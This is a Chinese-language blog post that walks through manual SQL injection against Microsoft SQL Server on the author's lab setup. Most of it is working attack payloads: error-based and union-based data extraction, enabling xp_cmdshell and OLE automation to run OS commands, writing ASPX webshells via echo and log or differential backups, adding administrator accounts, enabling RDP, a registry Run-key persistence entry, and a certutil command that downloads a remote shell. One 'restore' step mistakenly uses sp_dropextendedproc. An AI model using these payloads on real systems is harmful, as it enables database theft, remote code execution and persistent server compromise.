Mssql手工注入小結(jié)

前言:


說起sql注入環(huán)境,網(wǎng)上流行的一些漏洞靶場(chǎng)基本上都是基于Mysql+Apache搭建的,所以我對(duì)mysql的手注及提權(quán)多多少少有一定的了解,但對(duì)mssql還很陌生,為了避免過度依賴sqlmap一把梭的尷尬局面,于是有了這篇文章。

環(huán)境介紹:

搭建環(huán)境:win7 + SQL Server 2008 R2 + IIS7.5
win7開放1433端口
sql server 2008 r2下載及搭建過程參考:Win7安裝sqlserver2008r2教程

苦于找不到漏洞環(huán)境,只好找公開的NET源碼下載。
.NET源碼下載地址:.NET源碼 - 下載列表 - 源碼之家

ISAPI和CGI限制都設(shè)置為允許:

部分配置參考:

注入漏洞發(fā)現(xiàn):


搭建過程總是磕磕絆絆的,環(huán)境搭建好以后,使用xray聯(lián)動(dòng)awvs快速發(fā)現(xiàn)漏洞:

這里直接放出結(jié)果:

隨便找一處注入點(diǎn)用sqlmap一把梭瞅瞅:

基本齊活了,作為手注漏洞環(huán)境挺好的

基礎(chǔ)知識(shí):


Mssql的系統(tǒng)自帶庫(kù):master
在每個(gè)網(wǎng)站中,一般一個(gè)網(wǎng)站不會(huì)跨庫(kù),而在MSSQL中每個(gè)庫(kù)都有一個(gè)系統(tǒng)自帶表:sysobjects
此系統(tǒng)表中對(duì)我們有用的只有3個(gè)字段,NAME字段和XTYPE字段和ID字段,name就是表名信息,xtype是代表表的類型,有兩個(gè)參數(shù),S代表系統(tǒng)自帶表,U代表用戶創(chuàng)建的表,id字段的值用來連接syscolumns表。

Sysobjects是一個(gè)系統(tǒng)視圖,用于存放該數(shù)據(jù)庫(kù)內(nèi)創(chuàng)建的所有對(duì)象,如約束、默認(rèn)值、日志、規(guī)則、存儲(chǔ)過程等,而xtype代表對(duì)象的類型。

常見的類型有:

類型簡(jiǎn)稱 含義
U 表(用戶定義類型)
V 視圖
P 存儲(chǔ)過程
X 拓展存儲(chǔ)過程

mssql常用參數(shù):

當(dāng)前數(shù)據(jù)庫(kù)版本:@@version
有關(guān)服務(wù)器主機(jī)的信息:@@servername
當(dāng)前數(shù)據(jù)庫(kù)名稱:db_name()
當(dāng)前用戶:user
數(shù)據(jù)庫(kù)權(quán)限:IS_SRVROLEMEMBER()

手注過程:


報(bào)錯(cuò)注入:

判斷是否是Mssql數(shù)據(jù)庫(kù):

id=1 and (select count(*) from sysobjects)>0
id=1 and exists(select * from sysobjects)

使用了上面這條語(yǔ)句說明它權(quán)限還有點(diǎn)大,還有可能是 sa 權(quán)限,因?yàn)榭梢宰x取任意表

判斷權(quán)限:

id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))--  //sa
id=1 and 1=(select IS_MEMBER('db_owner'))=1--   //  dbo
id=1 and 1=(select IS_MEMBER('public'))=1--  //public

mssql權(quán)限劃分:

sysadmin:可以執(zhí)行所有操作,包括數(shù)據(jù)庫(kù)操作,文件管理,命令執(zhí)行,注冊(cè)表讀取等
db_owner:可以執(zhí)行數(shù)據(jù)庫(kù)操作,包括文件管理、數(shù)據(jù)庫(kù)操作等
public:只能執(zhí)行查詢操作

本地測(cè)試頁(yè)面返回正常,說明它是 sa 權(quán)限

查看當(dāng)前數(shù)據(jù)庫(kù)版本:

id=1 and 1=(select @@version)
id=@@version
id=1 and 1=(convert(int,@@version))
id=convert(int,@@version)

通過這個(gè)例子了解報(bào)錯(cuò)注入的原理:
and 1 是int類型,后面的(select @@version) 是字符類型,不相等,就會(huì)報(bào)錯(cuò)從而爆出相關(guān)信息
而原本訪問網(wǎng)站 id=1 查詢的是數(shù)字類型int,而我們查詢的是字符類型,所以他從字符類型轉(zhuǎn)換為int類型失敗就導(dǎo)致網(wǎng)站報(bào)錯(cuò)從而泄露網(wǎng)站的數(shù)據(jù)庫(kù)版本信息

查看當(dāng)前數(shù)據(jù)庫(kù)名稱:

id=1 and 1=(select db_name())
id=db_name()

convert函數(shù)利用原理:
對(duì)于 convert(int,@@version),convert 函數(shù)?先會(huì)執(zhí)?第?個(gè)參數(shù)指定的SQL查詢,然后嘗試將查詢結(jié)果轉(zhuǎn)換為int類型。但是,由于這個(gè)SQL查詢的結(jié)果是varchar類型,?法進(jìn)?指定的轉(zhuǎn)換,所以,convert函數(shù)會(huì)拋出 ?個(gè)SQL server錯(cuò)誤消息,指出“SQL查詢結(jié)果”?法轉(zhuǎn)換為“int”類型,這樣的話,攻擊者就能得到的這個(gè)SQL查詢的結(jié)果了。

獲取第一個(gè)用戶數(shù)據(jù)庫(kù)的名稱:

id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)

語(yǔ)句解析:

top 1 是一個(gè)SQL查詢的子句,它用于查詢結(jié)果只顯示首條記錄
對(duì)于 master..sysdatabases 這個(gè)意思是這樣的:在mssql系統(tǒng)默認(rèn)數(shù)據(jù)庫(kù)master 的系統(tǒng)視圖里

從圖中可以看到,前面4個(gè)id號(hào)是默認(rèn)mssql數(shù)據(jù)庫(kù)自帶的,實(shí)際上 ReportServer 和 ReportServerTempDB 也是安裝過程中自帶的數(shù)據(jù)庫(kù),真正手動(dòng)創(chuàng)建的數(shù)據(jù)庫(kù)為后面三個(gè),以搭建環(huán)境為基準(zhǔn)的話,這里第7個(gè)才是用戶所創(chuàng)建的第一個(gè)數(shù)據(jù)庫(kù),以此類推!

獲取所有數(shù)據(jù)庫(kù)的名字:

# for xml path:將查詢結(jié)果集以XML形式展現(xiàn)
id=1 and 1=(select name from master..sysdatabases for xml path)

獲取當(dāng)前網(wǎng)站數(shù)據(jù)庫(kù)所使用的第一個(gè)表名:

id=1 and 1=(select top 1 name from sysobjects where xtype='u')
id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name != '')  # 獲取第二個(gè)表名,以此類推
id=CONVERT(int,(select top 1 table_name from information_schema.columns))  # 獲取當(dāng)前數(shù)據(jù)庫(kù)的表名

爆出所有表名:

id=1 and 1=(select name from sysobjects for xml path)

本地復(fù)現(xiàn)失敗,可能是表太多了,數(shù)據(jù)傳輸量過大被截?cái)嗔??(盲猜?/p>

獲取列名:
我們知道了第一個(gè)表名為:Portal_Announcementscat

id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='Portal_Announcementscat'))

# 506F7274616C5F416E6E6F756E63656D656E7473636174 為表名 Portal_Announcementscat 的 hex值
id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x506F7274616C5F416E6E6F756E63656D656E7473636174  as varchar)))

獲取到第一個(gè)列名為:catid,參照數(shù)據(jù)庫(kù)信息進(jìn)行比對(duì):

獲取下一個(gè)列名:

id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='Portal_Announcementscat') and name !='catid')

id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x506F7274616C5F416E6E6F756E63656D656E7473636174  as varchar) and COLUMN_NAME != 'catid'))

獲取數(shù)據(jù):

id=1 and 1=(select top 1 catname from Portal_Announcementscat)
id=convert(int,(select top 1 catname from Portal_Announcementscat))

獲取下一條數(shù)據(jù):

id=1 and 1=(select top 1 catname from Portal_Announcementscat where catname != '本地通告')
id=convert(int,(select top 1 catname from Portal_Announcementscat where catname !='本地通告'))
聯(lián)合注入:

判斷字段長(zhǎng)度:

id=1 order by 8--

上面得到數(shù)據(jù)列數(shù)為8,尋找字符型顯示位:

id=0 union all select null,null,null,null,null,null,null,null

這里使用的是 union all,它和 union select 的區(qū)別就是:union select 會(huì)自動(dòng)去除一些重復(fù)的字段
使用的 null 是說明它無關(guān)是字符型還是數(shù)字型

現(xiàn)在,我們需要將依次每一個(gè)數(shù)據(jù)列轉(zhuǎn)換為@@version或者db_name(),尋找字符型顯示位:

id=0 union all select @@version,null,null,null,null,null,null,null
id=0 union all select null,@@version,null,null,null,null,null,null  # 以此類推

注意:這里其實(shí)填啥都可以,不一定得是@@version諸如此類的,只要是字符型數(shù)據(jù)都行:

獲取表名信息:

id=0 union all select (select top 1 name from dbo.sysobjects where xtype='u'),null,null,null,null,null,null,null
id=0 union all select (select top 1 table_name from information_schema.columns),null,null,null,null,null,null,null

# 獲取之后的表名,以此類推
id=0 union all select (select top 1 name from dbo.sysobjects where xtype='u' and name not in ('Portal_Announcementscat')),null,null,null,null,null,null,null  

獲取列名信息:

# 1 代表的是查詢第一個(gè)列名
id=0 union all select (select top 1 col_name(object_id('Portal_Announcementscat'),1) from sysobjects),null,null,null,null,null,null,null

# 獲取第i列名信息
id=0 union all select (select top 1 col_name(object_id('Portal_Announcementscat'),{i}) from sysobjects),null,null,null,null,null,null,null

獲取數(shù)據(jù)信息:

id=0 union all select catname,null,null,null,null,null,null,null from Portal_Announcementscat

xp_cmdshell執(zhí)行命令:

我們剛才知道了網(wǎng)站的權(quán)限是 sa 權(quán)限,那么我們就可以干很多事,包括執(zhí)行系統(tǒng)命令等等

xp_cmdshell:SQL中運(yùn)行系統(tǒng)命令行的系統(tǒng)存儲(chǔ)過程,一般在安全級(jí)別較高的服務(wù)器權(quán)限上。也就是它開啟的話我們就可以執(zhí)行系統(tǒng)命令!

判斷xp_cmdshell是否存在:

id=1 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')

頁(yè)面返回正常,說明xp_cmdshell存在。
如果拓展被刪除,執(zhí)行以下語(yǔ)句恢復(fù):

id=1;exec sp_dropextendedproc 'xp_cmdshell'

上面這條語(yǔ)句在恢復(fù)前先刪除xp_cmdshell,以后再在后面重新進(jìn)行創(chuàng)建,然后執(zhí)行如下查詢:

id=1;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’

該語(yǔ)句是利用系統(tǒng)中默認(rèn)的“xplog70.dll”文件,自動(dòng)恢復(fù)xp_cmdshell
如果恢復(fù)不成功,說明該文件被改名或刪除,可以上傳一個(gè)“xplog70.dll”文件,自定義路徑進(jìn)行恢復(fù)。例如,執(zhí)行如下查詢語(yǔ)句:

id=1;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’

xp_cmdshell默認(rèn)在mssql_2000中是開啟的,在mssql_2005之后的版本中則默認(rèn)禁止。
如果用戶擁有管理員sa權(quán)限則可以用sp_configure重新開啟它

本地環(huán)境為sql server 2008,可以看到默認(rèn)情況下是禁止的:

這里既然是sa用戶,直接通過注入環(huán)境開啟 xp_cmdshell:

id=1 ;exec sp_configure 'show advanced options', 1;reconfigure;--
id=1 ;exec sp_configure 'xp_cmdshell',1;reconfigure;--

# 關(guān)閉 xp_cmdshell:
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

嘗試通過xp_cmdshell執(zhí)行系統(tǒng)命令:

id=1 ;exec master..xp_cmdshell "ping 1yi53x.dnslog.cn"--
id=1 ;exec xp_cmdshell "ping 1yi53x.dnslog.cn"--

通過dnslog可以看到系統(tǒng)命令成功執(zhí)行

關(guān)于xp_cmdshell的利用方式很多,比如添加管理員用戶,寫入一句話到網(wǎng)站根目錄,反彈shell等等

查找網(wǎng)站根目錄:

利用前提:

1、目標(biāo)網(wǎng)站注入支持堆疊注入
2、當(dāng)前權(quán)限是SA權(quán)限
3、使用sqlmap的 –os-shell 無法獲取到權(quán)限

思路:通過先找到目標(biāo)網(wǎng)站的一個(gè)文件,然后通過遍歷目標(biāo)服務(wù)器的磁盤,找到該文件,將其路徑寫入自建的表中,然后再讀取該表得到網(wǎng)站絕對(duì)路徑

假設(shè)我們已經(jīng)知道目標(biāo)網(wǎng)站下有一個(gè)ceshi.txt文件

# 創(chuàng)建表hack,并添加一個(gè)tmp的字段
id=1;create table hack (tmp varchar(1000));-- 
# 查找目標(biāo)機(jī)器C盤下的test.txt路徑,并將結(jié)果寫入剛剛創(chuàng)建的hack表的tmp字段
id=1;insert into hack(tmp) exec master..xp_cmdshell 'for /r c:\ %i in (ceshi*.txt) do @echo %i';--
#或者
id=1;insert into hack(tmp) exec master..xp_cmdshell 'dir /s /b c:\ceshi.txt';--

讀取數(shù)據(jù),得到目標(biāo)網(wǎng)站絕對(duì)路徑為:

將一句話木馬寫入目標(biāo)網(wǎng)站根目錄,并命名為nothinks.aspx

注意:要把所有的<、>前面加一個(gè)^號(hào)

id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^> > D:\aspx\oa\nothinks.aspx';--
# 可以執(zhí)行系統(tǒng)權(quán)限之后,前提是獲取的主機(jī)權(quán)限是administrators組里的
exec xp_cmdshell 'net user Guest 123456'              #給guest用戶設(shè)置密碼
exec xp_cmdshell 'net user Guest /active:yes'         #激活guest用戶
exec xp_cmdshell 'net localgroup administrators Guest /add'  #將guest用戶添加到administrators用戶組
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'        #開啟3389端口

使用 certutil 遠(yuǎn)程下載木馬文件:

id=1;exec master..xp_cmdshell 'certutil -urlcache -split -f http://x.x.x.x/shell.php C:\phpstudy\www\shell2.php';--

SA權(quán)限使用sp_oacreate執(zhí)行系統(tǒng)命令:

使用下面命令查看是否可使用 sp_oacreate 執(zhí)行系統(tǒng)命令:

id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'--

可以看到默認(rèn)情況下禁止訪問

如果SQLServer 阻止了對(duì)組件 ‘Ole Automation Procedures’ 的過程 ‘sys.sp_OACreate’ 的訪問,可以使用以下命令打開

id=1;EXEC sp_configure 'show advanced options', 1;--
id=1;RECONFIGURE WITH OVERRIDE;--
id=1;EXEC sp_configure 'Ole Automation Procedures', 1;--
id=1;RECONFIGURE WITH OVERRIDE;--

再次執(zhí)行命令,通過dnslog判斷是否執(zhí)行成功:

id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'ping ffk9ba.dnslog.cn'--

這時(shí)調(diào)用命令創(chuàng)建用戶:

id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user book4yi password@ /add'--

xp_regwrite操作注冊(cè)表與開啟沙盒模式:

在sa權(quán)限下可以調(diào)用xp_regwrite寫入注冊(cè)表,查詢語(yǔ)句如下:

id=1;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run',
'black','REG_SZ','net user book4yi 123456 /add'

寫入注冊(cè)表啟動(dòng)項(xiàng),系統(tǒng)啟動(dòng)后就會(huì)執(zhí)行"net user book4yi 123456 /add"命令,從而在服務(wù)器上添加一個(gè)book4yi賬戶

使用沙盒進(jìn)行提權(quán)詳情參考:
https://blog.51cto.com/11797152/2411770
http://m.itdecent.cn/p/088c0705f7f9

其他存儲(chǔ)過程補(bǔ)充:

常見的危險(xiǎn)存儲(chǔ)過程如下表:

存儲(chǔ)過程 說明
sp_addlogin 創(chuàng)建新的 SQL Server 登錄,該登錄允許用戶使用 SQL Server 身份連接到 SQL Server 實(shí)例
sp_dropuser 從當(dāng)前數(shù)據(jù)庫(kù)中刪除數(shù)據(jù)庫(kù)用戶
xp_enumgroups 提供 Microsoft Windows 本地組列表或在指定的 Windows 域中定義全局組列表
xp_regread 讀取注冊(cè)表
xp_regwrite 寫入注冊(cè)表
xp_redeletevalue 刪除注冊(cè)表
xp_dirtree 讀取目錄
sp_password 更改密碼
xp_servicecontrol 停止或激活某服務(wù)
xp_readerrorlog 讀取SQLServer的錯(cuò)誤日志;
xp_snmp_getstate 獲取snmp狀態(tài)信息;
xp_sprintf 格式化數(shù)據(jù);
xp_sqlinventory 查詢SQLServer清單;
xp_sqlregister 對(duì)注冊(cè)表的讀取和編輯;
xp_sqltrace SQL跟蹤記錄;
xp_servicecontrol 服務(wù)管理控制,該存儲(chǔ)過程允許用戶啟動(dòng)、停止、暫?;蜻\(yùn)行服務(wù);
xp_sscanf 從字符串中讀取數(shù)據(jù)數(shù)據(jù)到每個(gè)格式參數(shù)給出的參數(shù)位置;
xp_availablemedia 該存儲(chǔ)過程可以查看系統(tǒng)上可用的磁盤驅(qū)動(dòng)器的空間信息;
xp_subdirs 通過xp_dirtree,xp_subdirs將在一個(gè)給定的文件夾中顯示所有子文件夾;

DB_owner權(quán)限LOG備份Getshell:

SQLServer常見的備份策略:

每周一次完整備份
每天一次差異備份
每小時(shí)一次事務(wù)日志備份

利用前提:

1、目標(biāo)機(jī)器存在數(shù)據(jù)庫(kù)備份文件 ,也就是如下,我們利用test數(shù)據(jù)庫(kù)的話,則需要該test數(shù)據(jù)庫(kù)存在數(shù)據(jù)庫(kù)備份文件
2、知道網(wǎng)站的絕對(duì)路徑
3、該注入支持堆疊注入

alter database oa set RECOVERY FULL;   #修改數(shù)據(jù)庫(kù)恢復(fù)模式為 完整模式
create table cmd (a image);        #創(chuàng)建一張表cmd,只有一個(gè)列 a,類型為image
backup log oa to disk= 'D:\aspx\oa\book4yi.aspx' with init;   #備份表到指定路徑
insert into cmd (a) values(0x3C25402050616765204C616E67756167653D224A73637269707422253E3C256576616C28526571756573742E4974656D5B2263686F70706572225D2C22756E7361666522293B253E);  #插入一句話到cmd表里
backup log oa to disk='D:\aspx\oa\book4yi-2.aspx';   #把操作日志備份到指定文件
drop table cmd;    #刪除cmd表

語(yǔ)句成功執(zhí)行以后,會(huì)在目標(biāo)網(wǎng)站根目錄下生成book4yi.aspx和book4yi-2.aspx文件,其中book4yi.aspx 保存數(shù)據(jù)庫(kù),book4yi-2.aspx就是我們需要連接的木馬文件

之后用蟻劍成功連接!

查看當(dāng)前用戶權(quán)限:

DB_owner權(quán)限差異備份Getshell

create table [dbo].[book4yi] ([cmd] [image])
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965 backup log @a to disk = @s with init,no_truncate
insert into [book4yi](cmd) values(0x3C25402050616765204C616E67756167653D224A73637269707422253E3C256576616C28526571756573742E4974656D5B2263686F70706572225D2C22756E7361666522293B253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x44003a005c0061007300700078005c006f0061005c007900650073006f006b002e006100730070007800 backup log @a to disk=@s with init,no_truncate
Drop table [book4yi]

1)id=1;backup database 庫(kù)名 to disk = 'c:\bak.bak' ;--
或者
id=1;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x備份路徑\xx.bak backup database @a to disk=@s--     //0x備份的數(shù)據(jù)庫(kù)名轉(zhuǎn)換成16位進(jìn)制,db_name()里面可以加數(shù)字備份不同的數(shù)據(jù)庫(kù)
2)id=1;create table 數(shù)據(jù)庫(kù)名..表名(a image)--     //建立表,加字段
3)id=1;insert into 數(shù)據(jù)庫(kù)名..表名(a) values (0x一句話木馬)--     //插入一句話木馬到表中,注意16進(jìn)制
4)id=1;backup database 庫(kù)名 to disk = 'c:\shell.asp' with differential , format ;--    //進(jìn)行差異備份
或者
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x備份路徑\xx.asp backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--     //備份到路徑\xx.asp,前提是已得知路徑,注意轉(zhuǎn)換為16進(jìn)制,假如備份的路徑為c:\webroot\panda.asp ,訪問查看是否備份getshell成功
5)id=1;Drop table 數(shù)據(jù)庫(kù)..表名--     //備份完getshell過后刪除表

本地測(cè)試的時(shí)候,寫入倒是成功了,但是寫入了四條語(yǔ)句導(dǎo)致無法連接,因?yàn)橥粋€(gè)腳本中出現(xiàn)了兩次<%@ Page Language="Jscript"%>這樣在.net的語(yǔ)法檢查中是不允許的(asp中應(yīng)該沒有這種現(xiàn)象)

現(xiàn)在就要找個(gè)沒有page標(biāo)簽的aspx的一句話。網(wǎng)上找到了兩個(gè)可以沒帶page標(biāo)簽的aspx的一句話:

C#版本:
<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[“f”]) ); }%>
Vb版本:
<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request(“f”)) ) %>

因?yàn)闆]有page標(biāo)簽,所以這這樣的一句話在同一個(gè)文件中出現(xiàn)兩次是不會(huì)出錯(cuò)的。其他語(yǔ)言沒測(cè)試,等待有緣人幫助

更多用法請(qǐng)參考:mssql注入經(jīng)常使用的命令

更多思路拓展請(qǐng)參考:
滲透經(jīng)驗(yàn)分享之SQL注入思路拓展
MSSQL注入常用SQL語(yǔ)句整理

參考如下:


史上最詳細(xì)的sqlServer手工注入詳解
Microsoft SQL Server手注之報(bào)錯(cuò)注入
Microsoft SQL Server手注之聯(lián)合查詢注入
SQLServer數(shù)據(jù)庫(kù)注入詳解

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
禁止轉(zhuǎn)載,如需轉(zhuǎn)載請(qǐng)通過簡(jiǎn)信或評(píng)論聯(lián)系作者。

友情鏈接更多精彩內(nèi)容